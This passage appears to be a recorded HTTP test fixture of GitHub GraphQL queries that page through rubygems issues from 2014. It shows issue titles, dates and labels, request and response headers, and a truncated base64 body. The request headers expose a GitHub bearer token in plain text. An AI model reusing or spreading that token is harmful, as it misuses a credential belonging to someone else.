problem","url":"https://github.com/rubygems/rubygems/issues/879","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0xMlQyMTo1Nzo0Ni0wNDowMM4B3w6X","node":{"number":880,"createdAt":"2014-04-13T01:57:46Z","closedAt":"2014-04-13T02:24:41Z","updatedAt":"2014-04-18T16:01:48Z","state":"CLOSED","title":"EventMachine Compiler Error (Ubuntu 14.04 LTS)","url":"https://github.com/rubygems/rubygems/issues/880","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0xNFQwOTozMjo1OS0wNDowMM4B4A7k","node":{"number":883,"createdAt":"2014-04-14T13:32:59Z","closedAt":null,"updatedAt":"2016-06-09T09:21:15Z","state":"OPEN","title":"Use different separator then \\0 for stub line","url":"https://github.com/rubygems/rubygems/issues/883","labels":{"nodes":[{"name":"category: gem spec"},{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0xNVQxMjowNjoxNS0wNDowMM4B4ayv","node":{"number":884,"createdAt":"2014-04-15T16:06:15Z","closedAt":"2014-05-29T00:02:24Z","updatedAt":"2014-05-29T00:40:45Z","state":"CLOSED","title":"Dependency definitions for multiple-major support","url":"https://github.com/rubygems/rubygems/issues/884","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0xNlQyMzo1ODoxNC0wNDowMM4B47H3","node":{"number":886,"createdAt":"2014-04-17T03:58:14Z","closedAt":"2014-04-21T21:44:43Z","updatedAt":"2014-04-21T21:44:43Z","state":"CLOSED","title":"RUBYGEMS_GEMDEPS throws exception when gem is not installed","url":"https://github.com/rubygems/rubygems/issues/886","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0xOVQxNjo0NTo0Ni0wNDowMM4B5g6w","node":{"number":889,"createdAt":"2014-04-19T20:45:46Z","closedAt":"2014-04-19T20:56:28Z","updatedAt":"2014-04-19T20:56:28Z","state":"CLOSED","title":"Please provide a way to either allow alternative URLs or to __not__ refer to a gem named at rubygems.org, despite .gemspec assuming that this gem may be wanted, on a per-gem basis","url":"https://github.com/rubygems/rubygems/issues/889","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0yMlQyMzoxNTo0NC0wNDowMM4B6LzE","node":{"number":890,"createdAt":"2014-04-23T03:15:44Z","closedAt":"2014-05-08T21:48:49Z","updatedAt":"2014-05-08T21:48:49Z","state":"CLOSED","title":"require_path from gemspec is type sensitive.","url":"https://github.com/rubygems/rubygems/issues/890","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0yM1QwNDozMDo0My0wNDowMM4B6OqY","node":{"number":892,"createdAt":"2014-04-23T08:30:43Z","closedAt":"2014-04-23T12:29:51Z","updatedAt":"2014-04-24T15:09:08Z","state":"CLOSED","title":"gem install rhc","url":"https://github.com/rubygems/rubygems/issues/892","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0yM1QxMDowNDozNy0wNDowMM4B6T9Z","node":{"number":893,"createdAt":"2014-04-23T14:04:37Z","closedAt":"2014-05-09T01:25:07Z","updatedAt":"2014-09-09T10:00:29Z","state":"CLOSED","title":"Development dependencies no longer selected","url":"https://github.com/rubygems/rubygems/issues/893","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0yNFQwODoxNDoxNS0wNDowMM4B6na1","node":{"number":894,"createdAt":"2014-04-24T12:14:15Z","closedAt":"2014-04-24T15:05:46Z","updatedAt":"2014-04-24T15:05:46Z","state":"CLOSED","title":"rhc setup","url":"https://github.com/rubygems/rubygems/issues/894","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0yOFQwODowNzoyOS0wNDowMM4B7ayA","node":{"number":895,"createdAt":"2014-04-28T12:07:29Z","closedAt":"2014-04-28T15:17:52Z","updatedAt":"2014-04-29T20:55:13Z","state":"CLOSED","title":"fatal: Could not read from remote repository.","url":"https://github.com/rubygems/rubygems/issues/895","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0yOFQxNTozNjo0OC0wNDowMM4B7kC9","node":{"number":896,"createdAt":"2014-04-28T19:36:48Z","closedAt":"2014-05-09T22:32:40Z","updatedAt":"2014-05-09T22:32:40Z","state":"CLOSED","title":"What does a constraint of `~> 0` mean? Clarify warning?","url":"https://github.com/rubygems/rubygems/issues/896","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0yOVQyMjoxNzoxMi0wNDowMM4B7+7y","node":{"number":897,"createdAt":"2014-04-30T02:17:12Z","closedAt":"2014-05-09T22:23:42Z","updatedAt":"2015-02-13T09:26:43Z","state":"CLOSED","title":"RUBYGEMS_GEMDEPS: `parse_DEPENDENCIES'': undefined method `version'' for nil:NilClass","url":"https://github.com/rubygems/rubygems/issues/897","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0zMFQxMzo1OTowNS0wNDowMM4B8M48","node":{"number":898,"createdAt":"2014-04-30T17:59:05Z","closedAt":"2014-05-08T22:03:30Z","updatedAt":"2015-12-31T21:33:42Z","state":"CLOSED","title":"Allow overriding the template that is used to generate the wrapper","url":"https://github.com/rubygems/rubygems/issues/898","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0wMVQxNDoxODo1NS0wNDowMM4B8fdx","node":{"number":900,"createdAt":"2014-05-01T18:18:55Z","closedAt":"2016-03-03T16:28:34Z","updatedAt":"2016-03-03T16:28:34Z","state":"CLOSED","title":"Would like to merge .gemrc install: flags with Gem::ConfigFile::OPERATING_SYSTEM_DEFAULTS","url":"https://github.com/rubygems/rubygems/issues/900","labels":{"nodes":[{"name":"category: gem spec"},{"name":"status: blocked / backlog"},{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0wMlQyMDozNjozMy0wNDowMM4B84MA","node":{"number":901,"createdAt":"2014-05-03T00:36:33Z","closedAt":null,"updatedAt":"2016-01-31T23:47:14Z","state":"OPEN","title":"Can''t create a virginal environment in ruby 2","url":"https://github.com/rubygems/rubygems/issues/901","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0wM1QxNTo1NDozMy0wNDowMM4B88iV","node":{"number":902,"createdAt":"2014-05-03T19:54:33Z","closedAt":"2015-12-31T09:12:37Z","updatedAt":"2015-12-31T09:12:56Z","state":"CLOSED","title":"Endless loop on require","url":"https://github.com/rubygems/rubygems/issues/902","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0wNVQyMjozNzo1MC0wNDowMM4B9XBG","node":{"number":903,"createdAt":"2014-05-06T02:37:50Z","closedAt":"2014-09-04T23:35:52Z","updatedAt":"2014-09-04T23:36:23Z","state":"CLOSED","title":"Building native extensions with: '''' empty build_args","url":"https://github.com/rubygems/rubygems/issues/903","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0wOVQwNzozMzowMy0wNDowMM4B+g4S","node":{"number":908,"createdAt":"2014-05-09T11:33:03Z","closedAt":"2014-05-12T23:08:09Z","updatedAt":"2014-05-12T23:08:13Z","state":"CLOSED","title":"Warning circular require considered harmful","url":"https://github.com/rubygems/rubygems/issues/908","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0wOVQxNjo0NTo1MC0wNDowMM4B+rQR","node":{"number":910,"createdAt":"2014-05-09T20:45:50Z","closedAt":"2014-05-09T21:42:32Z","updatedAt":"2014-05-09T21:42:32Z","state":"CLOSED","title":"''gem install rubygems-update-x.x.x.gem'' doesn''t update ''gem -v''","url":"https://github.com/rubygems/rubygems/issues/910","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0xMFQwNjoxMjoxMC0wNDowMM4B+xzY","node":{"number":911,"createdAt":"2014-05-10T10:12:10Z","closedAt":"2014-05-10T17:53:15Z","updatedAt":"2014-05-10T18:57:45Z","state":"CLOSED","title":"Segmentation fault when running `gem`","url":"https://github.com/rubygems/rubygems/issues/911","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0xMlQxNjowNTo1OS0wNDowMM4B/MFD","node":{"number":914,"createdAt":"2014-05-12T20:05:59Z","closedAt":"2014-05-12T22:15:35Z","updatedAt":"2015-01-15T00:46:40Z","state":"CLOSED","title":"Tests fail locally, pass on Travis","url":"https://github.com/rubygems/rubygems/issues/914","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0xNFQwODo0MDoxMi0wNDowMM4B/vwr","node":{"number":916,"createdAt":"2014-05-14T12:40:12Z","closedAt":"2014-05-19T23:45:36Z","updatedAt":"2014-05-19T23:45:36Z","state":"CLOSED","title":"gem install -g Gemfile leaves lock file in inconsistent state","url":"https://github.com/rubygems/rubygems/issues/916","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0xNlQxNzoxMTo0NC0wNDowMM4CAl9y","node":{"number":918,"createdAt":"2014-05-16T21:11:44Z","closedAt":"2014-05-19T22:34:21Z","updatedAt":"2014-05-19T22:34:47Z","state":"CLOSED","title":"Order of gems to uninstall is inconsistent","url":"https://github.com/rubygems/rubygems/issues/918","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0xNlQxNzo1Mjo0NS0wNDowMM4CAml7","node":{"number":919,"createdAt":"2014-05-16T21:52:45Z","closedAt":"2014-05-19T22:42:24Z","updatedAt":"2014-05-19T22:42:24Z","state":"CLOSED","title":"gem update should not update all gems that contain the given substring","url":"https://github.com/rubygems/rubygems/issues/919","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0xOFQxMTozNDo0MC0wNDowMM4CAwsB","node":{"number":920,"createdAt":"2014-05-18T15:34:40Z","closedAt":"2014-05-21T15:25:11Z","updatedAt":"2014-05-21T15:25:11Z","state":"CLOSED","title":"unable to install gems on Mac OSX 10.9.2","url":"https://github.com/rubygems/rubygems/issues/920","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0yMFQxMDoxMDozNy0wNDowMM4CBSVc","node":{"number":921,"createdAt":"2014-05-20T14:10:37Z","closedAt":"2014-05-20T15:55:12Z","updatedAt":"2014-05-20T15:55:12Z","state":"CLOSED","title":"Transfer ownership of rpec-given","url":"https://github.com/rubygems/rubygems/issues/921","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0yMlQyMjo1ODoyOC0wNDowMM4CCPFa","node":{"number":923,"createdAt":"2014-05-23T02:58:28Z","closedAt":"2014-05-23T07:48:57Z","updatedAt":"2014-05-23T07:48:57Z","state":"CLOSED","title":"get the method to solve it","url":"https://github.com/rubygems/rubygems/issues/923","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0yNFQyMjowNjowOS0wNDowMM4CCqWY","node":{"number":926,"createdAt":"2014-05-25T02:06:09Z","closedAt":"2014-05-25T05:57:50Z","updatedAt":"2015-11-08T05:16:26Z","state":"CLOSED","title":"Why duplicate xxx.so file to `extensions` directory?","url":"https://github.com/rubygems/rubygems/issues/926","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0yNFQyMjoxMzo0NC0wNDowMM4CCqXt","node":{"number":927,"createdAt":"2014-05-25T02:13:44Z","closedAt":"2014-05-28T04:19:51Z","updatedAt":"2014-05-28T04:19:55Z","state":"CLOSED","title":"Could not find ''minitest'' (~> 4.0) among 0 total gem(s)","url":"https://github.com/rubygems/rubygems/issues/927","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0yN1QxNjo0MDozMC0wNDowMM4CDRGt","node":{"number":929,"createdAt":"2014-05-27T20:40:30Z","closedAt":"2014-07-08T04:23:59Z","updatedAt":"2014-07-08T04:23:59Z","state":"CLOSED","title":"gem install -g Gemfile --conservative isn''t conservative","url":"https://github.com/rubygems/rubygems/issues/929","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0yOFQwNjo1MzowMC0wNDowMM4CDb9L","node":{"number":930,"createdAt":"2014-05-28T10:53:00Z","closedAt":"2014-05-29T22:05:11Z","updatedAt":"2014-05-29T22:06:45Z","state":"CLOSED","title":"gem dependencies impacted by gem order","url":"https://github.com/rubygems/rubygems/issues/930","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0yOFQwOTo1NDo1OC0wNDowMM4CDfER","node":{"number":931,"createdAt":"2014-05-28T13:54:58Z","closedAt":"2014-05-28T20:13:50Z","updatedAt":"2014-05-28T20:13:50Z","state":"CLOSED","title":" undefined method `add_dependency''","url":"https://github.com/rubygems/rubygems/issues/931","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNS0zMFQwMDozMzoyOS0wNDowMM4CEDe4","node":{"number":932,"createdAt":"2014-05-30T04:33:29Z","closedAt":"2014-06-09T18:56:06Z","updatedAt":"2014-06-09T18:56:06Z","state":"CLOSED","title":"gem tries to install x86-mingw32 version of msgpack on 64bit Linux","url":"https://github.com/rubygems/rubygems/issues/932","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0wMlQxMDo0MDo0My0wNDowMM4CEq6m","node":{"number":933,"createdAt":"2014-06-02T14:40:43Z","closedAt":"2014-06-05T12:13:04Z","updatedAt":"2014-06-09T12:15:45Z","state":"CLOSED","title":"Exceptionally poor performance of loading required files","url":"https://github.com/rubygems/rubygems/issues/933","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0wM1QwNzo0ODozMy0wNDowMM4CE9yw","node":{"number":934,"createdAt":"2014-06-03T11:48:33Z","closedAt":null,"updatedAt":"2016-06-09T09:21:15Z","state":"OPEN","title":"An \"OR\" constraint in dependency requirements","url":"https://github.com/rubygems/rubygems/issues/934","labels":{"nodes":[{"name":"category: gem spec"},{"name":"type: feature request"},{"name":"type: major bump"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0wNFQwMjo0MjozMS0wNDowMM4CFQtY","node":{"number":935,"createdAt":"2014-06-04T06:42:31Z","closedAt":"2014-07-07T23:09:17Z","updatedAt":"2015-10-07T22:34:20Z","state":"CLOSED","title":"Failed to Use gem in OS X 10.10","url":"https://github.com/rubygems/rubygems/issues/935","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0wOVQyMDoxNzozMi0wNDowMM4CGzjr","node":{"number":936,"createdAt":"2014-06-10T00:17:32Z","closedAt":"2014-06-10T00:34:10Z","updatedAt":"2014-06-10T00:34:10Z","state":"CLOSED","title":"Gems with native code fails to install on Power 8 Ubuntu LE: config.guess: unable to guess system type","url":"https://github.com/rubygems/rubygems/issues/936","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xMVQwNDoyMzozMy0wNDowMM4CHRoz","node":{"number":937,"createdAt":"2014-06-11T08:23:33Z","closedAt":"2014-06-11T19:17:53Z","updatedAt":"2014-06-11T19:17:53Z","state":"CLOSED","title":"Crash when can''t access Internet","url":"https://github.com/rubygems/rubygems/issues/937","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xMVQxNTowNToxNS0wNDowMM4CHe0+","node":{"number":938,"createdAt":"2014-06-11T19:05:15Z","closedAt":"2014-06-12T02:26:01Z","updatedAt":"2014-09-10T20:00:42Z","state":"CLOSED","title":"Prerelease gems being activated with pessimistic version requirements","url":"https://github.com/rubygems/rubygems/issues/938","labels":{"nodes":[{"name":"category: #gem or #require"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xMVQxNjo0Njo1OC0wNDowMM4CHhIg","node":{"number":939,"createdAt":"2014-06-11T20:46:58Z","closedAt":"2014-06-12T22:34:38Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Please provide SHA256 checksums for your releases","url":"https://github.com/rubygems/rubygems/issues/939","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xMVQyMjoyNTo1OC0wNDowMM4CHmFa","node":{"number":940,"createdAt":"2014-06-12T02:25:58Z","closedAt":"2014-06-12T02:45:39Z","updatedAt":"2014-06-12T02:55:11Z","state":"CLOSED","title":"undefined method `add_dependency'' when using wrong Ruby","url":"https://github.com/rubygems/rubygems/issues/940","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xMVQyMjoyNzo1MS0wNDowMM4CHmGa","node":{"number":941,"createdAt":"2014-06-12T02:27:51Z","closedAt":"2014-06-12T05:37:57Z","updatedAt":"2014-06-17T20:41:49Z","state":"CLOSED","title":"Exception thrown when wrong Ruby is used with Gemfile","url":"https://github.com/rubygems/rubygems/issues/941","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xM1QxNzoyMzoxOS0wNDowMM4CIN1P","node":{"number":943,"createdAt":"2014-06-13T21:23:19Z","closedAt":"2014-07-14T23:48:29Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"site_ruby/vendor_ruby equivalent for rubygems","url":"https://github.com/rubygems/rubygems/issues/943","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xNFQwNjoxNDozNS0wNDowMM4CISA9","node":{"number":944,"createdAt":"2014-06-14T10:14:35Z","closedAt":"2014-07-04T00:17:26Z","updatedAt":"2014-07-04T00:17:26Z","state":"CLOSED","title":"RUBYGEMS_GEMDEPS with gem from git-branch not working","url":"https://github.com/rubygems/rubygems/issues/944","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xNlQwMzoyMjowNi0wNDowMM4CIdqo","node":{"number":946,"createdAt":"2014-06-16T07:22:06Z","closedAt":"2014-06-19T05:01:38Z","updatedAt":"2014-07-09T22:48:43Z","state":"CLOSED","title":"[2.3.0] update ignores --no-document options","url":"https://github.com/rubygems/rubygems/issues/946","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0xNlQxOTo1MjoxMS0wNDowMM4CIvqu","node":{"number":947,"createdAt":"2014-06-16T23:52:11Z","closedAt":"2014-06-18T05:36:47Z","updatedAt":"2014-06-18T05:36:47Z","state":"CLOSED","title":"Cannot use --explain with -g","url":"https://github.com/rubygems/rubygems/issues/947","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0yM1QxNDoxNjo1MS0wNDowMM4CKic2","node":{"number":953,"createdAt":"2014-06-23T18:16:51Z","closedAt":"2016-10-12T21:47:30Z","updatedAt":"2016-10-12T21:47:30Z","state":"CLOSED","title":"Gem install: Delay to report an API failure","url":"https://github.com/rubygems/rubygems/issues/953","labels":{"nodes":[{"name":"category: install"},{"name":"closed: declined"},{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0yM1QxNjoyNjoyNS0wNDowMM4CKlGL","node":{"number":954,"createdAt":"2014-06-23T20:26:25Z","closedAt":"2014-07-07T23:46:59Z","updatedAt":"2014-07-07T23:46:59Z","state":"CLOSED","title":"Install -s option broke between 2.2 and 2.3","url":"https://github.com/rubygems/rubygems/issues/954","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0yNFQyMzozODoxOS0wNDowMM4CLCCB","node":{"number":956,"createdAt":"2014-06-25T03:38:19Z","closedAt":"2014-07-10T18:37:05Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"InvalidSpecificationException on a 5-page long description with TODOs in it","url":"https://github.com/rubygems/rubygems/issues/956","labels":{"nodes":[{"name":"category: API"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0yNVQwMzowMzozNy0wNDowMM4CLDvV","node":{"number":957,"createdAt":"2014-06-25T07:03:37Z","closedAt":"2015-12-31T09:11:37Z","updatedAt":"2015-12-31T09:11:55Z","state":"CLOSED","title":"post install steps","url":"https://github.com/rubygems/rubygems/issues/957","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0yN1QxMDoxNjoxOC0wNDowMM4CL4Cu","node":{"number":961,"createdAt":"2014-06-27T14:16:18Z","closedAt":"2014-07-09T23:50:37Z","updatedAt":"2016-02-15T15:28:38Z","state":"CLOSED","title":"Gems documenation is not generated when installing local gem with --ignore-dependencies option","url":"https://github.com/rubygems/rubygems/issues/961","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNi0zMFQwODo1NzoxNi0wNDowMM4CMXFz","node":{"number":963,"createdAt":"2014-06-30T12:57:16Z","closedAt":"2014-09-04T23:39:16Z","updatedAt":"2014-09-04T23:39:16Z","state":"CLOSED","title":"rubygems does not ask for username/pw if it has changed on rubygems.org","url":"https://github.com/rubygems/rubygems/issues/963","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNy0wOFQxMzo0NToxMS0wNDowMM4COppt","node":{"number":968,"createdAt":"2014-07-08T17:45:11Z","closedAt":null,"updatedAt":"2017-01-17T01:26:19Z","state":"OPEN","title":"Do not try to install gems that are not compatible","url":"https://github.com/rubygems/rubygems/issues/968","labels":{"nodes":[{"name":"category: install"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNy0xN1QwNjo1MjozMi0wNDowMM4CROdl","node":{"number":973,"createdAt":"2014-07-17T10:52:32Z","closedAt":"2014-07-17T20:29:12Z","updatedAt":"2014-07-17T20:29:12Z","state":"CLOSED","title":"Rubygems.org not defaulting to latest version of gem","url":"https://github.com/rubygems/rubygems/issues/973","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNy0xN1QxNTozOTo1My0wNDowMM4CRZ+C","node":{"number":974,"createdAt":"2014-07-17T19:39:53Z","closedAt":"2014-07-17T22:00:30Z","updatedAt":"2014-07-17T22:00:30Z","state":"CLOSED","title":"2.4.0 fail to install on jruby on windows ","url":"https://github.com/rubygems/rubygems/issues/974","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNy0xN1QxNjoxODo0NC0wNDowMM4CRbEV","node":{"number":975,"createdAt":"2014-07-17T20:18:44Z","closedAt":"2014-07-17T20:19:56Z","updatedAt":"2014-07-17T20:20:08Z","state":"CLOSED","title":"RbConfig::CONFIG is missing entry for vendordir (and some related entries based off this)","url":"https://github.com/rubygems/rubygems/issues/975","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNy0xN1QyMDo0NDoyMS0wNDowMM4CRfco","node":{"number":976,"createdAt":"2014-07-18T00:44:21Z","closedAt":"2014-07-21T00:20:14Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Be a little more verbose by default","url":"https://github.com/rubygems/rubygems/issues/976","labels":{"nodes":[{"name":"category: other"}]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:26 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNC0wNy0xN1QyMDo0NDoyMS0wNDowMM4CRfco\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:27 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4978' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.503689' X-Github-Request-Id: - C66A:4D96:971F49:13A4B9F:5A50E48A body: encoding: ASCII-8BIT string: !binary |- eyJkYXRhIjp7InJlcG9zaXRvcnkiOnsiaXNzdWVzIjp7ImVkZ2VzIjpbeyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE5DMHdOeTB4T0ZReE1Eb3hPVG8wTmkwd05Eb3dNTTRDUnBWZCIsIm5vZGUiOnsibnVtYmVyIjo5NzcsImNyZWF0ZWRBdCI6IjIwMTQtMDctMThUMTQ6MTk6NDZaIiwiY2xvc2VkQXQiOiIyMDE2LTAxLTE1VDE5OjE1OjAyWiIsInVwZGF0ZWRBdCI6IjIwMTctMDQtMjVUMjA6NTU6MDhaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6Ik5hdGl2ZSBnZW0gaW5zdGFsbGF0aW9uIGRvZXNuJ3Qgd29yayBvbiBXaW5kb3dzIHdpdGggPj0gMi40LjAiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzk3NyIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIn0seyJuYW1lIjoic3RhdHVzOiByZWFkeSJ9LHsibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQifV19fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE5DMHdOeTB5TTFRd05EbzBNVG8wTnkwd05Eb3dNTTRDUzVrRCIsIm5vZGUiOnsibnVtYmVyIjo5NzgsImNyZWF0ZWRBdCI6IjIwMTQtMDctMjNUMDg6NDE6NDdaIiwiY2xvc2VkQXQiOiIyMDE0LTA3LTIzVDE1OjUyOjE2WiIsInVwZGF0ZWRBdCI6IjIwMTctMDMtMjFUMTU6NTA6MDNaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6ImdlbSBpbnN0YWxsYXRpb24gdmlhIHByb3h5IHdpbGwgbm90IHdvcmsgaWYgYW4gaW52YWxpZCBuYW1lIHNlcnZlciBpcyBzcGVjaWZpZWQuIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85NzgiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOQzB3TnkweU0xUXhNVG94TXpveE1pMHdORG93TU00Q1RBNUoiLCJub2RlIjp7Im51bWJlciI6OTc5LCJjcmVhdGVkQXQiOiIyMDE0LTA3LTIzVDE1OjEzOjEyWiIsImNsb3NlZEF0IjoiMjAxNC0wOS0wM1QyMjowMTozNVoiLCJ1cGRhdGVkQXQiOiIyMDE2LTAxLTAxVDIxOjI1OjAwWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJwcm9wb3NhbDogdXNlIHNkcHggZm9ybWF0IGZvciBsaWNlbnNlIGZpZWxkIGluIGdlbSBzcGVjIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85NzkiLCJsYWJlbHMiO